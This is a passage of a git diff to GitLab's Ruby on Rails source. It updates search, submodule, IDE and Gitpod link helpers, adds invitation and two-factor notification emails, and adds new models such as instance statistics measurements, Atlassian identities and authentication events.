+ category: "Recent issues",
+ id: i.id,
+ label: search_result_sanitize(i.title),
+ url: issue_path(i),
+ avatar_url: i.project.avatar_url || ''
+ }
+ end
+ end
# rubocop: enable CodeReuse/ActiveRecord
def search_result_sanitize(str)
@@ -250,15 +280,16 @@ module SearchHelper
# Sanitize a HTML field for search display. Most tags are stripped out and the
# maximum length is set to 200 characters.
- def search_md_sanitize(object, field)
- html = markdown_field(object, field)
- html = Truncato.truncate(
- html,
+ def search_md_sanitize(source)
+ source = Truncato.truncate(
+ source,
count_tags: false,
count_tail: false,
max_length: 200
)
+ html = markdown(source)
+
# Truncato's filtered_tags and filtered_attributes are not quite the same
sanitize(html, tags: %w(a p ol ul li pre code))
end
diff --git a/app/helpers/services_helper.rb b/app/helpers/services_helper.rb
index e9d39cc8175..6b5de73a831 100644
--- a/app/helpers/services_helper.rb
+++ b/app/helpers/services_helper.rb
@@ -92,9 +92,15 @@ module ServicesHelper
commit_events: integration.commit_events.to_s,
enable_comments: integration.comment_on_event_enabled.to_s,
comment_detail: integration.comment_detail,
+ learn_more_path: integrations_help_page_path,
trigger_events: trigger_events_for_service(integration),
fields: fields_for_service(integration),
- inherit_from_id: integration.inherit_from_id
+ inherit_from_id: integration.inherit_from_id,
+ integration_level: integration_level(integration),
+ editable: integration.editable?.to_s,
+ cancel_path: scoped_integrations_path,
+ can_test: integration.can_test?.to_s,
+ test_path: scoped_test_integration_path(integration)
}
end
@@ -106,11 +112,31 @@ module ServicesHelper
ServiceFieldSerializer.new(service: integration).represent(integration.global_fields).to_json
end
+ def integrations_help_page_path
+ help_page_path('user/admin_area/settings/project_integration_management')
+ end
+
def project_jira_issues_integration?
false
end
+ def group_level_integrations?
+ @group.present? && Feature.enabled?(:group_level_integrations, @group)
+ end
+
extend self
+
+ private
+
+ def integration_level(integration)
+ if integration.instance
+ 'instance'
+ elsif integration.group_id
+ 'group'
+ else
+ 'project'
+ end
+ end
end
ServicesHelper.prepend_if_ee('EE::ServicesHelper')
diff --git a/app/helpers/snippets_helper.rb b/app/helpers/snippets_helper.rb
index 10c95da394f..94c46feb8ae 100644
--- a/app/helpers/snippets_helper.rb
+++ b/app/helpers/snippets_helper.rb
@@ -12,7 +12,7 @@ module SnippetsHelper
end
def download_raw_snippet_button(snippet)
- link_to(icon('download'),
+ link_to(sprite_icon('download'),
gitlab_raw_snippet_path(snippet, inline: false),
target: '_blank',
rel: 'noopener noreferrer',
diff --git a/app/helpers/startup_css_helper.rb b/app/helpers/startup_css_helper.rb
new file mode 100644
index 00000000000..b54e19bfc0d
--- /dev/null
+++ b/app/helpers/startup_css_helper.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module StartupCssHelper
+ def use_startup_css?
+ (Feature.enabled?(:startup_css) || params[:startup_css] == 'true' || cookies['startup_css'] == 'true') && !Rails.env.test?
+ end
+end
diff --git a/app/helpers/submodule_helper.rb b/app/helpers/submodule_helper.rb
index 06ea3dd8a81..959178c47d7 100644
--- a/app/helpers/submodule_helper.rb
+++ b/app/helpers/submodule_helper.rb
@@ -6,19 +6,19 @@ module SubmoduleHelper
VALID_SUBMODULE_PROTOCOLS = %w[http https git ssh].freeze
# links to files listing for submodule if submodule is a project on this server
- def submodule_links(submodule_item, ref = nil, repository = @repository)
- repository.submodule_links.for(submodule_item, ref)
+ def submodule_links(submodule_item, ref = nil, repository = @repository, diff_file = nil)
+ repository.submodule_links.for(submodule_item, ref, diff_file)
end
- def submodule_links_for_url(submodule_item_id, url, repository)
- return [nil, nil] unless url
+ def submodule_links_for_url(submodule_item_id, url, repository, old_submodule_item_id = nil)
+ return [nil, nil, nil] unless url
if url == '.' || url == './'
url = File.join(Gitlab.config.gitlab.url, repository.project.full_path)
end
if url =~ %r{([^/:]+)/([^/]+(?:\.git)?)\Z}
- namespace, project = $1, $2
+ namespace, project = Regexp.last_match(1), Regexp.last_match(2)
gitlab_hosts = [Gitlab.config.gitlab.url,
Gitlab.config.gitlab_shell.ssh_path_prefix]
@@ -34,21 +34,24 @@ module SubmoduleHelper
project.sub!(/\.git\z/, '')
if self_url?(url, namespace, project)
- [url_helpers.namespace_project_path(namespace, project),
- url_helpers.namespace_project_tree_path(namespace, project, submodule_item_id)]
+ [
+ url_helpers.namespace_project_path(namespace, project),
+ url_helpers.namespace_project_tree_path(namespace, project, submodule_item_id),
+ (url_helpers.namespace_project_compare_path(namespace, project, to: submodule_item_id, from: old_submodule_item_id) if old_submodule_item_id)
+ ]
elsif relative_self_url?(url)
- relative_self_links(url, submodule_item_id, repository.project)
+ relative_self_links(url, submodule_item_id, old_submodule_item_id, repository.project)
elsif gist_github_dot_com_url?(url)
gist_github_com_tree_links(namespace, project, submodule_item_id)
elsif github_dot_com_url?(url)
- github_com_tree_links(namespace, project, submodule_item_id)
+ github_com_tree_links(namespace, project, submodule_item_id, old_submodule_item_id)
elsif gitlab_dot_com_url?(url)
- gitlab_com_tree_links(namespace, project, submodule_item_id)
+ gitlab_com_tree_links(namespace, project, submodule_item_id, old_submodule_item_id)
else
- [sanitize_submodule_url(url), nil]
+ [sanitize_submodule_url(url), nil, nil]
end
else
- [sanitize_submodule_url(url), nil]
+ [sanitize_submodule_url(url), nil, nil]
end
end
@@ -79,22 +82,30 @@ module SubmoduleHelper
url.start_with?('../', './')
end
- def gitlab_com_tree_links(namespace, project, commit)
+ def gitlab_com_tree_links(namespace, project, commit, old_commit)
base = ['https://gitlab.com/', namespace, '/', project].join('')
- [base, [base, '/-/tree/', commit].join('')]
+ [
+ base,
+ [base, '/-/tree/', commit].join(''),
+ ([base, '/-/compare/', old_commit, '...', commit].join('') if old_commit)
+ ]
end
def gist_github_com_tree_links(namespace, project, commit)
base = ['https://gist.github.com/', namespace, '/', project].join('')
- [base, [base, commit].join('/')]
+ [base, [base, commit].join('/'), nil]
end
- def github_com_tree_links(namespace, project, commit)
+ def github_com_tree_links(namespace, project, commit, old_commit)
base = ['https://github.com/', namespace, '/', project].join('')
- [base, [base, '/tree/', commit].join('')]
+ [
+ base,
+ [base, '/tree/', commit].join(''),
+ ([base, '/compare/', old_commit, '...', commit].join('') if old_commit)
+ ]
end
- def relative_self_links(relative_path, commit, project)
+ def relative_self_links(relative_path, commit, old_commit, project)
relative_path = relative_path.rstrip
absolute_project_path = "/" + project.full_path
@@ -107,7 +118,7 @@ module SubmoduleHelper
target_namespace_path = File.dirname(submodule_project_path)
if target_namespace_path == '/' || target_namespace_path.start_with?(absolute_project_path)
- return [nil, nil]
+ return [nil, nil, nil]
end
target_namespace_path.sub!(%r{^/}, '')
@@ -116,10 +127,11 @@ module SubmoduleHelper
begin
[
url_helpers.namespace_project_path(target_namespace_path, submodule_base),
- url_helpers.namespace_project_tree_path(target_namespace_path, submodule_base, commit)
+ url_helpers.namespace_project_tree_path(target_namespace_path, submodule_base, commit),
+ (url_helpers.namespace_project_compare_path(target_namespace_path, submodule_base, to: commit, from: old_commit) if old_commit)
]
rescue ActionController::UrlGenerationError
- [nil, nil]
+ [nil, nil, nil]
end
end
diff --git a/app/helpers/system_note_helper.rb b/app/helpers/system_note_helper.rb
index 6ea6a33ba5e..0227ad1092d 100644
--- a/app/helpers/system_note_helper.rb
+++ b/app/helpers/system_note_helper.rb
@@ -7,7 +7,7 @@ module SystemNoteHelper
'description' => 'pencil-square',
'merge' => 'git-merge',
'merged' => 'git-merge',
- 'opened' => 'issue-open',
+ 'opened' => 'issues',
'closed' => 'issue-close',
'time_tracking' => 'timer',
'assignee' => 'user',
@@ -33,7 +33,8 @@ module SystemNoteHelper
'designs_removed' => 'doc-image',
'designs_discussion_added' => 'doc-image',
'status' => 'status',
- 'alert_issue_added' => 'issues'
+ 'alert_issue_added' => 'issues',
+ 'new_alert_added' => 'warning'
}.freeze
def system_note_icon_name(note)
diff --git a/app/helpers/tab_helper.rb b/app/helpers/tab_helper.rb
index 0f156003a01..6fbe2642056 100644
--- a/app/helpers/tab_helper.rb
+++ b/app/helpers/tab_helper.rb
@@ -127,5 +127,3 @@ module TabHelper
end
end
end
-
-TabHelper.prepend_if_ee('EE::TabHelper')
diff --git a/app/helpers/tree_helper.rb b/app/helpers/tree_helper.rb
index 90a5b6da4c7..7644ed783eb 100644
--- a/app/helpers/tree_helper.rb
+++ b/app/helpers/tree_helper.rb
@@ -191,16 +191,46 @@ module TreeHelper
def vue_file_list_data(project, ref)
{
- can_push_code: current_user&.can?(:push_code, project) && "true",
project_path: project.full_path,
project_short_path: project.path,
- fork_path: current_user&.fork_of(project)&.full_path,
ref: ref,
escaped_ref: ActionDispatch::Journey::Router::Utils.escape_path(ref),
full_name: project.name_with_namespace
}
end
+ def ide_base_path(project)
+ can_push_code = current_user&.can?(:push_code, project)
+ fork_path = current_user&.fork_of(project)&.full_path
+
+ if can_push_code
+ project.full_path
+ else
+ fork_path || project.full_path
+ end
+ end
+
+ def vue_ide_link_data(project, ref)
+ can_collaborate = can_collaborate_with_project?(project)
+ can_create_mr_from_fork = can?(current_user, :fork_project, project) && can?(current_user, :create_merge_request_in, project)
+ show_web_ide_button = (can_collaborate || current_user&.already_forked?(project) || can_create_mr_from_fork)
+
+ {
+ ide_base_path: ide_base_path(project),
+ needs_to_fork: !can_collaborate && !current_user&.already_forked?(project),
+ show_web_ide_button: show_web_ide_button,
+ show_gitpod_button: show_web_ide_button && Gitlab::Gitpod.feature_and_settings_enabled?(project),
+ gitpod_url: full_gitpod_url(project, ref),
+ gitpod_enabled: current_user&.gitpod_enabled
+ }
+ end
+
+ def full_gitpod_url(project, ref)
+ return "" unless Gitlab::Gitpod.feature_and_settings_enabled?(project)
+
+ "#{Gitlab::CurrentSettings.gitpod_url}##{project_tree_url(project, tree_join(ref, @path || ''))}"
+ end
+
def directory_download_links(project, ref, archive_prefix)
Gitlab::Workhorse::ARCHIVE_FORMATS.map do |fmt|
{
diff --git a/app/helpers/user_callouts_helper.rb b/app/helpers/user_callouts_helper.rb
index 98159369fb1..967271a8431 100644
--- a/app/helpers/user_callouts_helper.rb
+++ b/app/helpers/user_callouts_helper.rb
@@ -5,9 +5,11 @@ module UserCalloutsHelper
GKE_CLUSTER_INTEGRATION = 'gke_cluster_integration'
GCP_SIGNUP_OFFER = 'gcp_signup_offer'
SUGGEST_POPOVER_DISMISSED = 'suggest_popover_dismissed'
+ SERVICE_TEMPLATES_DEPRECATED = 'service_templates_deprecated'
TABS_POSITION_HIGHLIGHT = 'tabs_position_highlight'
WEBHOOKS_MOVED = 'webhooks_moved'
CUSTOMIZE_HOMEPAGE = 'customize_homepage'
+ WEB_IDE_ALERT_DISMISSED = 'web_ide_alert_dismissed'
def show_admin_integrations_moved?
!user_dismissed?(ADMIN_INTEGRATIONS_MOVED)
@@ -37,6 +39,10 @@ module UserCalloutsHelper
!user_dismissed?(SUGGEST_POPOVER_DISMISSED)
end
+ def show_service_templates_deprecated?
+ !user_dismissed?(SERVICE_TEMPLATES_DEPRECATED)
+ end
+
def show_webhooks_moved_alert?
!user_dismissed?(WEBHOOKS_MOVED)
end
@@ -45,6 +51,10 @@ module UserCalloutsHelper
customize_homepage && !user_dismissed?(CUSTOMIZE_HOMEPAGE)
end
+ def show_web_ide_alert?
+ !user_dismissed?(WEB_IDE_ALERT_DISMISSED)
+ end
+
private
def user_dismissed?(feature_name, ignore_dismissal_earlier_than = nil)
diff --git a/app/helpers/whats_new_helper.rb b/app/helpers/whats_new_helper.rb
new file mode 100644
index 00000000000..f0044daa645
--- /dev/null
+++ b/app/helpers/whats_new_helper.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module WhatsNewHelper
+ EMPTY_JSON = ''.to_json
+
+ def whats_new_most_recent_release_items
+ YAML.load_file(most_recent_release_file_path).to_json
+
+ rescue => e
+ Gitlab::ErrorTracking.track_exception(e, yaml_file_path: most_recent_release_file_path)
+
+ EMPTY_JSON
+ end
+
+ private
+
+ def most_recent_release_file_path
+ Dir.glob(files_path).max
+ end
+
+ def files_path
+ Rails.root.join('data', 'whats_new', '*.yml')
+ end
+end
diff --git a/app/helpers/wiki_helper.rb b/app/helpers/wiki_helper.rb
index ad33ac66f38..8c756b9370b 100644
--- a/app/helpers/wiki_helper.rb
+++ b/app/helpers/wiki_helper.rb
@@ -69,7 +69,12 @@ module WikiHelper
end
def wiki_attachment_upload_url
- expose_url(api_v4_projects_wikis_attachments_path(id: @wiki.container.id))
+ case @wiki.container
+ when Project
+ expose_url(api_v4_projects_wikis_attachments_path(id: @wiki.container.id))
+ else
+ raise TypeError, "Unsupported wiki container #{@wiki.container.class}"
+ end
end
def wiki_sort_controls(wiki, sort, direction)
@@ -147,3 +152,5 @@ module WikiHelper
!container.has_confluence?
end
end
+
+WikiHelper.prepend_if_ee('EE::WikiHelper')
diff --git a/app/mailers/devise_mailer.rb b/app/mailers/devise_mailer.rb
index cbaf53fced1..a02670aed90 100644
--- a/app/mailers/devise_mailer.rb
+++ b/app/mailers/devise_mailer.rb
@@ -9,6 +9,10 @@ class DeviseMailer < Devise::Mailer
helper EmailsHelper
helper ApplicationHelper
+ def password_change_by_admin(record, opts = {})
+ devise_mail(record, :password_change_by_admin, opts)
+ end
+
protected
def subject_for(key)
diff --git a/app/mailers/emails/members.rb b/app/mailers/emails/members.rb
index 07ce9bba784..3a13c5949bd 100644
--- a/app/mailers/emails/members.rb
+++ b/app/mailers/emails/members.rb
@@ -51,9 +51,32 @@ module Emails
return unless member_exists?
- member_email_with_layout(
- to: member.invite_email,
- subject: subject("Invitation to join the #{member_source.human_name} #{member_source.model_name.singular}"))
+ subject_line = subject("Invitation to join the #{member_source.human_name} #{member_source.model_name.singular}")
+
+ if member.invite_to_unknown_user? && Feature.enabled?(:invite_email_experiment)
+ subject_line = subject("#{member.created_by.name} invited you to join GitLab") if member.created_by
+ @invite_url_params = { new_user_invite: 'experiment' }
+
+ member_email_with_layout(
+ to: member.invite_email,
+ subject: subject_line,
+ template: 'member_invited_email_experiment',
+ layout: 'experiment_mailer'
+ )
+
+ Gitlab::Tracking.event(Gitlab::Experimentation::EXPERIMENTS[:invite_email][:tracking_category], 'sent', property: 'experiment_group')
+ else
+ @invite_url_params = member.invite_to_unknown_user? ? { new_user_invite: 'control' } : {}
+
+ member_email_with_layout(
+ to: member.invite_email,
+ subject: subject_line
+ )
+
+ if member.invite_to_unknown_user?
+ Gitlab::Tracking.event(Gitlab::Experimentation::EXPERIMENTS[:invite_email][:tracking_category], 'sent', property: 'control_group')
+ end
+ end
end
def member_invite_accepted_email(member_source_type, member_id)
@@ -107,10 +130,15 @@ module Emails
@member_source_type.classify.constantize
end
- def member_email_with_layout(to:, subject:)
+ def member_email_with_layout(to:, subject:, template: nil, layout: 'mailer')
mail(to: to, subject: subject) do |format|
- format.html { render layout: 'mailer' }
- format.text { render layout: 'mailer' }
+ if template
+ format.html { render template, layout: layout }
+ format.text { render template, layout: layout }
+ else
+ format.html { render layout: layout }
+ format.text { render layout: layout }
+ end
end
end
end
diff --git a/app/mailers/emails/profile.rb b/app/mailers/emails/profile.rb
index b45755788b8..96cf3571968 100644
--- a/app/mailers/emails/profile.rb
+++ b/app/mailers/emails/profile.rb
@@ -72,6 +72,16 @@ module Emails
end
end
end
+
+ def disabled_two_factor_email(user)
+ return unless user
+
+ @user = user
+
+ Gitlab::I18n.with_locale(@user.preferred_language) do
+ mail(to: @user.notification_email, subject: subject(_("Two-factor authentication disabled")))
+ end
+ end
end
end
diff --git a/app/models/alert_management/alert.rb b/app/models/alert_management/alert.rb
index 75581805b49..e9b89af45c6 100644
--- a/app/models/alert_management/alert.rb
+++ b/app/models/alert_management/alert.rb
@@ -11,6 +11,8 @@ module AlertManagement
include Noteable
include Gitlab::SQL::Pattern
include Presentable
+ include Gitlab::Utils::StrongMemoize
+ include Referable
STATUSES = {
triggered: 0,
@@ -31,8 +33,6 @@ module AlertManagement
:acknowledged
].freeze
- DETAILS_IGNORED_PARAMS = %w(start_time).freeze
-
belongs_to :project
belongs_to :issue, optional: true
belongs_to :prometheus_alert, optional: true
@@ -118,7 +118,7 @@ module AlertManagement
end
delegate :iid, to: :issue, prefix: true, allow_nil: true
- delegate :metrics_dashboard_url, :runbook, :details_url, to: :present
+ delegate :details_url, to: :present
scope :for_iid, -> (iid) { where(iid: iid) }
scope :for_status, -> (status) { where(status: status) }
@@ -171,10 +171,23 @@ module AlertManagement
with_prometheus_alert.where(id: ids)
end
- def details
- details_payload = payload.except(*attributes.keys, *DETAILS_IGNORED_PARAMS)
+ def self.reference_prefix
+ '^alert#'
+ end
- Gitlab::Utils::InlineHash.merge_keys(details_payload)
+ def self.reference_pattern
+ @reference_pattern ||= %r{
+ (#{Project.reference_pattern})?
+ #{Regexp.escape(reference_prefix)}(?<alert>\d+)
+ }x
+ end
+
+ def self.link_reference_pattern
+ @link_reference_pattern ||= super("alert_management", /(?<alert>\d+)\/details(\#)?/)
+ end
+
+ def self.reference_valid?(reference)
+ reference.to_i > 0 && reference.to_i <= Gitlab::Database::MAX_INT_VALUE
end
def prometheus?
@@ -185,10 +198,10 @@ module AlertManagement
increment!(:events)
end
- # required for todos (typically contains an identifier like issue iid)
- # no-op; we could use iid, but we don't have a reference prefix
- def to_reference(_from = nil, full: false)
- ''
+ def to_reference(from = nil, full: false)
+ reference = "#{self.class.reference_prefix}#{iid}"
+
+ "#{project.to_reference_base(from, full: full)}#{reference}"
end
def execute_services
@@ -197,10 +210,12 @@ module AlertManagement
project.execute_services(hook_data, :alert_hooks)
end
- def present
- return super(presenter_class: AlertManagement::PrometheusAlertPresenter) if prometheus?
-
- super
+ # Representation of the alert's payload. Avoid accessing
+ # #payload attribute directly.
+ def parsed_payload
+ strong_memoize(:parsed_payload) do
+ Gitlab::AlertManagement::Payload.parse(project, payload, monitoring_tool: monitoring_tool)
+ end
end
private
diff --git a/app/models/analytics/instance_statistics.rb b/app/models/analytics/instance_statistics.rb
new file mode 100644
index 00000000000..df7b26e4fa6
--- /dev/null
+++ b/app/models/analytics/instance_statistics.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Analytics
+ module InstanceStatistics
+ def self.table_name_prefix
+ 'analytics_instance_statistics_'
+ end
+ end
+end
diff --git a/app/models/analytics/instance_statistics/measurement.rb b/app/models/analytics/instance_statistics/measurement.rb
new file mode 100644
index 00000000000..eaaf9e999b3
--- /dev/null
+++ b/app/models/analytics/instance_statistics/measurement.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Analytics
+ module InstanceStatistics
+ class Measurement < ApplicationRecord
+ enum identifier: {
+ projects: 1,
+ users: 2,
+ issues: 3,
+ merge_requests: 4,
+ groups: 5,
+ pipelines: 6
+ }
+
+ IDENTIFIER_QUERY_MAPPING = {
+ identifiers[:projects] => -> { Project },
+ identifiers[:users] => -> { User },
+ identifiers[:issues] => -> { Issue },
+ identifiers[:merge_requests] => -> { MergeRequest },
+ identifiers[:groups] => -> { Group },
+ identifiers[:pipelines] => -> { Ci::Pipeline }
+ }.freeze
+
+ validates :recorded_at, :identifier, :count, presence: true
+ validates :recorded_at, uniqueness: { scope: :identifier }
+
+ scope :order_by_latest, -> { order(recorded_at: :desc) }
+ scope :with_identifier, -> (identifier) { where(identifier: identifier) }
+ end
+ end
+end
diff --git a/app/models/application_record.rb b/app/models/application_record.rb
index 91b8bfedcbb..6ffb9b7642a 100644
--- a/app/models/application_record.rb
+++ b/app/models/application_record.rb
@@ -13,6 +13,10 @@ class ApplicationRecord < ActiveRecord::Base
where(id: ids)
end
+ def self.primary_key_in(values)
+ where(primary_key => values)
+ end
+
def self.iid_in(iids)
where(iid: iids)
end
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index eb46be65858..e9a3dcf39df 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -8,6 +8,8 @@ class ApplicationSetting < ApplicationRecord
include IgnorableColumns
ignore_column :namespace_storage_size_limit, remove_with: '13.5', remove_after: '2020-09-22'
+ ignore_column :instance_statistics_visibility_private, remove_with: '13.6', remove_after: '2020-10-22'
+ ignore_column :snowplow_iglu_registry_url, remove_with: '13.6', remove_after: '2020-11-22'
GRAFANA_URL_ERROR_MESSAGE = 'Please check your Grafana URL setting in ' \
'Admin Area > Settings > Metrics and profiling > Metrics - Grafana'
@@ -20,7 +22,9 @@ class ApplicationSetting < ApplicationRecord
belongs_to :push_rule
alias_attribute :self_monitoring_project_id, :instance_administration_project_id
- belongs_to :instance_administrators_group, class_name: "Group"
+ belongs_to :instance_group, class_name: "Group", foreign_key: 'instance_administrators_group_id'
+ alias_attribute :instance_group_id, :instance_administrators_group_id
+ alias_attribute :instance_administrators_group, :instance_group
def self.repository_storages_weighted_attributes
@repository_storages_weighted_atributes ||= Gitlab.config.repositories.storages.keys.map { |k| "repository_storages_weighted_#{k}".to_sym }.freeze
@@ -128,16 +132,16 @@ class ApplicationSetting < ApplicationRecord
presence: true,
if: :sourcegraph_enabled
+ validates :gitpod_url,
+ presence: true,
+ addressable_url: { enforce_sanitization: true },
+ if: :gitpod_enabled
+
validates :snowplow_collector_hostname,
presence: true,
hostname: true,
if: :snowplow_enabled
- validates :snowplow_iglu_registry_url,
- addressable_url: true,
- allow_blank: true,
- if: :snowplow_enabled
-
validates :max_attachment_size,
presence: true,
numericality: { only_integer: true, greater_than: 0 }
@@ -281,6 +285,9 @@ class ApplicationSetting < ApplicationRecord
validates :hashed_storage_enabled, inclusion: { in: [true], message: _("Hashed storage can't be disabled anymore for new projects") }
+ validates :container_registry_delete_tags_service_timeout,
+ numericality: { only_integer: true, greater_than_or_equal_to: 0 }
+
SUPPORTED_KEY_TYPES.each do |type|
validates :"#{type}_key_restriction", presence: true, key_restriction: { type: type }
end
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index 8bdb80a65b1..7a869d16a31 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -74,6 +74,8 @@ module ApplicationSettingImplementation
gitaly_timeout_default: 55,
gitaly_timeout_fast: 10,
gitaly_timeout_medium: 30,
+ gitpod_enabled: false,
+ gitpod_url: 'https://gitpod.io/',
gravatar_enabled: Settings.gravatar['enabled'],
group_download_export_limit: 1,
group_export_limit: 6,
@@ -87,7 +89,6 @@ module ApplicationSettingImplementation
housekeeping_gc_period: 200,
housekeeping_incremental_repack_period: 10,
import_sources: Settings.gitlab['import_sources'],
- instance_statistics_visibility_private: false,
issues_create_limit: 300,
local_markdown_version: 0,
login_recaptcha_protection_enabled: false,
@@ -132,7 +133,6 @@ module ApplicationSettingImplementation
snowplow_collector_hostname: nil,
snowplow_cookie_domain: nil,
snowplow_enabled: false,
- snowplow_iglu_registry_url: nil,
sourcegraph_enabled: false,
sourcegraph_public_only: true,
sourcegraph_url: nil,
@@ -164,7 +164,8 @@ module ApplicationSettingImplementation
user_default_external: false,
user_default_internal_regex: nil,
user_show_add_ssh_key_message: true,
- wiki_page_max_content_bytes: 50.megabytes
+ wiki_page_max_content_bytes: 50.megabytes,
+ container_registry_delete_tags_service_timeout: 100
}
end
diff --git a/app/models/atlassian/identity.rb b/app/models/atlassian/identity.rb
new file mode 100644
index 00000000000..906f2be0fbf
--- /dev/null
+++ b/app/models/atlassian/identity.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Atlassian
+ class Identity < ApplicationRecord
+ self.table_name = 'atlassian_identities'
+
+ belongs_to :user
+
+ validates :extern_uid, presence: true, uniqueness: true
+ validates :user, presence: true, uniqueness: true
+
+ attr_encrypted :token,
+ mode: :per_attribute_iv,
+ key: Settings.attr_encrypted_db_key_base_truncated,
+ algorithm: 'aes-256-gcm',
+ encode: false,
+ encode_iv: false
+
+ attr_encrypted :refresh_token,
+ mode: :per_attribute_iv,
+ key: Settings.attr_encrypted_db_key_base_truncated,
+ algorithm: 'aes-256-gcm',
+ encode: false,
+ encode_iv: false
+ end
+end
diff --git a/app/models/audit_event.rb b/app/models/audit_event.rb
index e7cfa30a892..f46803be057 100644
--- a/app/models/audit_event.rb
+++ b/app/models/audit_event.rb
@@ -5,9 +5,9 @@ class AuditEvent < ApplicationRecord
include IgnorableColumns
include BulkInsertSafe
- PARALLEL_PERSISTENCE_COLUMNS = [:author_name, :entity_path, :target_details].freeze
+ PARALLEL_PERSISTENCE_COLUMNS = [:author_name, :entity_path, :target_details, :target_type].freeze
- ignore_column :updated_at, remove_with: '13.4', remove_after: '2020-09-22'
+ ignore_column :type, remove_with: '13.6', remove_after: '2020-11-22'
serialize :details, Hash # rubocop:disable Cop/ActiveRecordSerialize
@@ -29,6 +29,14 @@ class AuditEvent < ApplicationRecord
# https://gitlab.com/groups/gitlab-org/-/epics/2765
after_validation :parallel_persist
+ # Note: After loading records, do not attempt to type cast objects it finds.
+ # We are in the process of deprecating STI (i.e. SecurityEvent) out of AuditEvent.
+ #
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/216845
+ def self.inheritance_column
+ :_type_disabled
+ end
+
def self.order_by(method)
case method.to_s
when 'created_asc'
diff --git a/app/models/authentication_event.rb b/app/models/authentication_event.rb
new file mode 100644
index 00000000000..1ac3c5fbd9c
--- /dev/null
+++ b/app/models/authentication_event.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class AuthenticationEvent < ApplicationRecord
+ belongs_to :user, optional: true
+
+ validates :provider, :user_name, :result, presence: true
+
+ enum result: {
+ failed: 0,
+ success: 1
+ }
+end
diff --git a/app/models/blob_viewer/dependency_manager.rb b/app/models/blob_viewer/dependency_manager.rb
index a851f22bfcd..1be7120a955 100644
--- a/app/models/blob_viewer/dependency_manager.rb
+++ b/app/models/blob_viewer/dependency_manager.rb
@@ -33,8 +33,8 @@ module BlobViewer
@json_data ||= begin
prepare!
Gitlab::Json.parse(blob.data)
- rescue
- {}
+ rescue
+ {}
end
end
diff --git a/app/models/blob_viewer/metrics_dashboard_yml.rb b/app/models/blob_viewer/metrics_dashboard_yml.rb
index c05fb5d88d6..88643253d3d 100644
--- a/app/models/blob_viewer/metrics_dashboard_yml.rb
+++ b/app/models/blob_viewer/metrics_dashboard_yml.rb
@@ -25,20 +25,30 @@ module BlobViewer
private
def parse_blob_data
- yaml = ::Gitlab::Config::Loader::Yaml.new(blob.data).load_raw!
+ if Feature.enabled?(:metrics_dashboard_exhaustive_validations, project)
+ exhaustive_metrics_dashboard_validation
+ else
+ old_metrics_dashboard_validation
+ end
+ end
+ def old_metrics_dashboard_validation
+ yaml = ::Gitlab::Config::Loader::Yaml.new(blob.data).load_raw!
::PerformanceMonitoring::PrometheusDashboard.from_json(yaml)
- nil
+ []
rescue Gitlab::Config::Loader::FormatError => error
- wrap_yml_syntax_error(error)
+ ["YAML syntax: #{error.message}"]
rescue ActiveModel::ValidationError => invalid
- invalid.model.errors
+ invalid.model.errors.messages.map { |messages| messages.join(': ') }
end
- def wrap_yml_syntax_error(error)
- ::PerformanceMonitoring::PrometheusDashboard.new.errors.tap do |errors|
- errors.add(:'YAML syntax', error.message)
- end
+ def exhaustive_metrics_dashboard_validation
+ yaml = ::Gitlab::Config::Loader::Yaml.new(blob.data).load_raw!
+ Gitlab::Metrics::Dashboard::Validator
+ .errors(yaml, dashboard_path: blob.path, project: project)
+ .map(&:message)
+ rescue Gitlab::Config::Loader::FormatError => error
+ [error.message]
end
end
end
diff --git a/app/models/ci/bridge.rb b/app/models/ci/bridge.rb
index 58c26e8c806..1697067f633 100644
--- a/app/models/ci/bridge.rb
+++ b/app/models/ci/bridge.rb
@@ -35,6 +35,10 @@ module Ci
end
end
+ event :pending do
+ transition all => :pending
+ end
+
event :manual do
transition all => :manual
end
@@ -48,6 +52,14 @@ module Ci
raise NotImplementedError
end
+ def self.with_preloads
+ preload(
+ :metadata,
+ downstream_pipeline: [project: [:route, { namespace: :route }]],
+ project: [:namespace]
+ )
+ end
+
def schedule_downstream_pipeline!
raise InvalidBridgeTypeError unless downstream_project
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index af4e6bb0494..99580a52e96 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -38,14 +38,17 @@ module Ci
has_one :deployment, as: :deployable, class_name: 'Deployment'
has_one :resource, class_name: 'Ci::Resource', inverse_of: :build
+ has_one :pending_state, class_name: 'Ci::BuildPendingState', inverse_of: :build
has_many :trace_sections, class_name: 'Ci::BuildTraceSection'
- has_many :trace_chunks, class_name: 'Ci::BuildTraceChunk', foreign_key: :build_id
+ has_many :trace_chunks, class_name: 'Ci::BuildTraceChunk', foreign_key: :build_id, inverse_of: :build
has_many :report_results, class_name: 'Ci::BuildReportResult', inverse_of: :build
has_many :job_artifacts, class_name: 'Ci::JobArtifact', foreign_key: :job_id, dependent: :destroy, inverse_of: :job # rubocop:disable Cop/ActiveRecordDependent
has_many :job_variables, class_name: 'Ci::JobVariable', foreign_key: :job_id
has_many :sourced_pipelines, class_name: 'Ci::Sources::Pipeline', foreign_key: :source_job_id
+ has_many :pages_deployments, inverse_of: :ci_build
+
Ci::JobArtifact.file_types.each do |key, value|
has_one :"job_artifacts_#{key}", -> { where(file_type: value) }, class_name: 'Ci::JobArtifact', inverse_of: :job, foreign_key: :job_id
end
@@ -90,9 +93,9 @@ module Ci
Ci::BuildMetadata.scoped_build.with_interruptible.select(:id))
end
- scope :unstarted, ->() { where(runner_id: nil) }
- scope :ignore_failures, ->() { where(allow_failure: false) }
- scope :with_downloadable_artifacts, ->() do
+ scope :unstarted, -> { where(runner_id: nil) }
+ scope :ignore_failures, -> { where(allow_failure: false) }
+ scope :with_downloadable_artifacts, -> do
where('EXISTS (?)',
Ci::JobArtifact.select(1)
.where('ci_builds.id = ci_job_artifacts.job_id')
@@ -104,11 +107,11 @@ module Ci
